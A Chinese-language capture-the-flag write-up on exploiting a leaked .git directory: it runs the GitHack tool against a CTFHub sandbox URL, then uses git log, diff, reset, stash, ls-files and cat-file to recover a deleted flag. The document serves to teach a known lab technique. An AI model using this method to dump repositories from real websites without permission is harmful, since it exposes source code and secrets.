关于git泄露的一些简单操作
关于git泄露的一些简单操作
关于.git泄漏可以使用GitHack进行.git泄露的利用,工具下载地址:https://github.com/BugScanTeam/GitHack
我这里是windows10环境,使用是需要将git环境安装在环境变量里。
安装了git后, 在当前文件夹右键打开git bash环境(这里的python版本为2.7)
python GitHack.py http://challenge-55b6c65232b6b6ab.sandbox.ctfhub.com:10080/.git/
就会将泄露的部分下载在dist文件夹下。
进入到.git文件下
cd \dist\challenge-55b6c65232b6b6ab.sandbox.ctfhub.com_10080\
我们在此位置检查git提交历史记录log(同时因为题目也是Log,所以突破点想到日志信息)
git log 查看日志
可以看到add flag之后又将其移除了,所以我们只需要检查当前文件和上一次提交文件的不同之处即可
使用git diff 命令
git diff 82af46 //82af46日志文件的名字
版本切换
git reset --hard 82af46 //add flag之后的文件
或者是使用git ls-files查看暂存区里面有哪些文件
#这是在remove flag时的文件内容
#这是切换到add flag时的文件内容
当然,index在文件夹里面存在,我们也可以直接打开。
首先,我们需要查看29671524227678.txt文件对应的Blob对象,如下:
git ls-files -s -- 29671524227678.txt //查看文件的id
或者直接 git ls-files -s
然后通过Blob对象,查询29671524227678.txt里面的内容:
git cat-file -p 29671524227678.txt //查看文件内容
--------------------------------------------------图片补充~~~----------------------------------------------------------------
git stash
能够将所有未提交的修改(工作区和暂存区)保存至堆栈中,用于后续恢复当前工作目录。
查看当前堆栈中保存的未提交的修改
使用git stash list
git stash pop //弹出堆栈的内容
可以看到这里出现了一个 27641291515606.txt 文件
发现这里有两个逐一查看
------------------------------------------------------------------------------------------------------------------------------------------
或者可以看到add flag这个工作也被保存在了堆栈中,所以只需要知道如何恢复就可以了
使用git stash apply
此时回到目录中可以看到一个恢复好的文件,打开即可
我们先使用git ls-files -s查看暂存区里面有哪些文件
------------------------------------------------
git checkout //输出文件查询
git checkout -b 1321272329348.txt
~~~
创建新分支:git branch branchName
切换到新分支:git checkout branchName
然后,上面两个命令也可以合成为一个命令:
git checkout -b branchName
~~~
git ls-files -s
git cat-file -p adb933
git switch master // 切换分支
git show //显示各种类型的文件
总结本次用到命令:
python GitHack.py http://xxx.com/.git/ git log //查看日志 git diff e67aa8 //e67aa8日志文件的名字
git reset --hard 82af46 //切换到add flag之后的文件 git checkout //输出文件查询
git stash list //查看堆栈内保存的内容
git stash pop //弹出堆栈中的文件 git stash apply //恢复文件 git ls-files //查看隐藏文件 git ls-files -s -- 3012131234.txt //查看文件id git cat-file -p c47d3a //查看文件内容
git show //显示各种类型的文件
git switch master //切换树